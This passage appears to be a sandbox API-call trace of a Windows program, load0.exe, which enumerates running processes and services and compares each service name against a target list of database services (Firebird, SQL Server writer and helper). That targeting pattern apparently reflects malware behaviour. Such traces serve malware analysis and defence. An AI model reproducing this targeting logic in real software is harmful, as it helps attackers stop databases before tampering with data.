szExeFile="svchost.exe")) returned 1 [0274.781] lstrlenW (lpString="svchost.exe") returned 11 [0274.781] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.782] lstrlenW (lpString="svchost.exe") returned 11 [0274.782] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.783] lstrlenW (lpString="svchost.exe") returned 11 [0274.783] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.784] lstrlenW (lpString="spoolsv.exe") returned 11 [0274.784] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.785] lstrlenW (lpString="svchost.exe") returned 11 [0274.785] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.785] lstrlenW (lpString="audiodg.exe") returned 11 [0274.785] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0274.786] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0274.786] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0274.787] lstrlenW (lpString="Memory Compression") returned 18 [0274.787] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0274.787] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0274.787] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0274.788] lstrlenW (lpString="sihost.exe") returned 10 [0274.788] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.789] lstrlenW (lpString="svchost.exe") returned 11 [0274.789] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0274.789] lstrlenW (lpString="taskhostw.exe") returned 13 [0274.790] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0274.790] lstrlenW (lpString="msoia.exe") returned 9 [0274.790] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.791] lstrlenW (lpString="explorer.exe") returned 12 [0274.791] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0274.792] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0274.792] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0274.792] lstrlenW (lpString="SearchUI.exe") returned 12 [0274.793] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0274.793] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0274.793] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0274.794] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0274.794] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0274.795] lstrlenW (lpString="load0.exe") returned 9 [0274.795] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0274.795] lstrlenW (lpString="load0.exe") returned 9 [0274.795] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0274.796] CloseHandle (hObject=0x10bc) returned 1 [0274.796] Sleep (dwMilliseconds=0x1f4) [0275.349] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64668 [0275.349] EnumServicesStatusExW (in: hSCManager=0x3f64668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0275.350] GetLastError () returned 0xea [0275.350] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3faf028 [0275.350] EnumServicesStatusExW (in: hSCManager=0x3f64668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3faf028, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3faf028, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0275.351] CloseServiceHandle (hSCObject=0x3f64668) returned 1 [0275.351] lstrlenW (lpString="Appinfo") returned 7 [0275.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0275.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0275.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0275.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0275.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0275.352] lstrlenW (lpString="AppXSvc") returned 7 [0275.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0275.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0275.352] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0275.352] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0275.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0275.352] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0275.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0275.352] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0275.352] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0275.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0275.352] lstrlenW (lpString="Audiosrv") returned 8 [0275.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0275.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0275.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0275.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0275.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0275.352] lstrlenW (lpString="BFE") returned 3 [0275.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0275.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0275.352] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0275.352] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0275.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0275.352] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0275.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.353] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0275.353] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0275.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0275.353] lstrlenW (lpString="CDPSvc") returned 6 [0275.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0275.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0275.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0275.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0275.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0275.353] lstrlenW (lpString="ClickToRunSvc") returned 13 [0275.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0275.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0275.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0275.353] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0275.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0275.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0275.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0275.353] lstrlenW (lpString="CryptSvc") returned 8 [0275.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0275.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0275.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0275.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0275.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0275.354] lstrlenW (lpString="DcomLaunch") returned 10 [0275.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0275.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0275.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0275.354] lstrlenW (lpString="DeviceAssociationService") returned 24 [0275.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0275.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0275.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0275.354] lstrlenW (lpString="Dhcp") returned 4 [0275.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0275.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0275.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0275.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0275.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0275.354] lstrlenW (lpString="Dnscache") returned 8 [0275.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0275.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0275.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0275.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0275.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0275.354] lstrlenW (lpString="DPS") returned 3 [0275.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0275.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0275.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0275.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0275.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0275.355] lstrlenW (lpString="DusmSvc") returned 7 [0275.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0275.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0275.355] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0275.355] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0275.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0275.355] lstrlenW (lpString="EventLog") returned 8 [0275.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0275.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0275.355] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0275.355] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0275.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0275.355] lstrlenW (lpString="EventSystem") returned 11 [0275.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0275.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0275.355] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0275.355] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0275.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0275.355] lstrlenW (lpString="FontCache") returned 9 [0275.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0275.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0275.355] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0275.355] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0275.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0275.355] lstrlenW (lpString="gpsvc") returned 5 [0275.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0275.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0275.355] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0275.355] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0275.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0275.356] lstrlenW (lpString="iphlpsvc") returned 8 [0275.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.356] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0275.356] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0275.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0275.356] lstrlenW (lpString="KeyIso") returned 6 [0275.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0275.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0275.356] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0275.356] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0275.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0275.356] lstrlenW (lpString="LanmanServer") returned 12 [0275.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0275.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0275.356] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0275.356] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0275.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0275.356] lstrlenW (lpString="LanmanWorkstation") returned 17 [0275.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.356] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0275.356] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0275.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0275.356] lstrlenW (lpString="lfsvc") returned 5 [0275.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0275.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0275.356] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0275.357] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0275.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0275.357] lstrlenW (lpString="lmhosts") returned 7 [0275.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0275.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0275.357] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0275.357] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0275.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0275.357] lstrlenW (lpString="LSM") returned 3 [0275.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0275.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0275.357] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0275.357] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0275.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0275.357] lstrlenW (lpString="MpsSvc") returned 6 [0275.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0275.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0275.357] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0275.357] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0275.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0275.357] lstrlenW (lpString="NcbService") returned 10 [0275.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0275.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0275.357] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0275.357] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0275.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0275.357] lstrlenW (lpString="netprofm") returned 8 [0275.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0275.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0275.358] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0275.358] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0275.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0275.358] lstrlenW (lpString="NgcSvc") returned 6 [0275.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0275.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0275.358] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0275.358] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0275.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0275.358] lstrlenW (lpString="NlaSvc") returned 6 [0275.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0275.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0275.358] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0275.358] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0275.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0275.358] lstrlenW (lpString="nsi") returned 3 [0275.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0275.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0275.358] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0275.358] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0275.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0275.358] lstrlenW (lpString="PcaSvc") returned 6 [0275.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0275.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0275.358] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0275.358] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0275.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0275.358] lstrlenW (lpString="PlugPlay") returned 8 [0275.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0275.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0275.359] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0275.359] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0275.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0275.359] lstrlenW (lpString="Power") returned 5 [0275.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0275.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0275.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0275.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0275.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0275.359] lstrlenW (lpString="ProfSvc") returned 7 [0275.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0275.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0275.359] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0275.359] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0275.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0275.359] lstrlenW (lpString="RpcEptMapper") returned 12 [0275.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 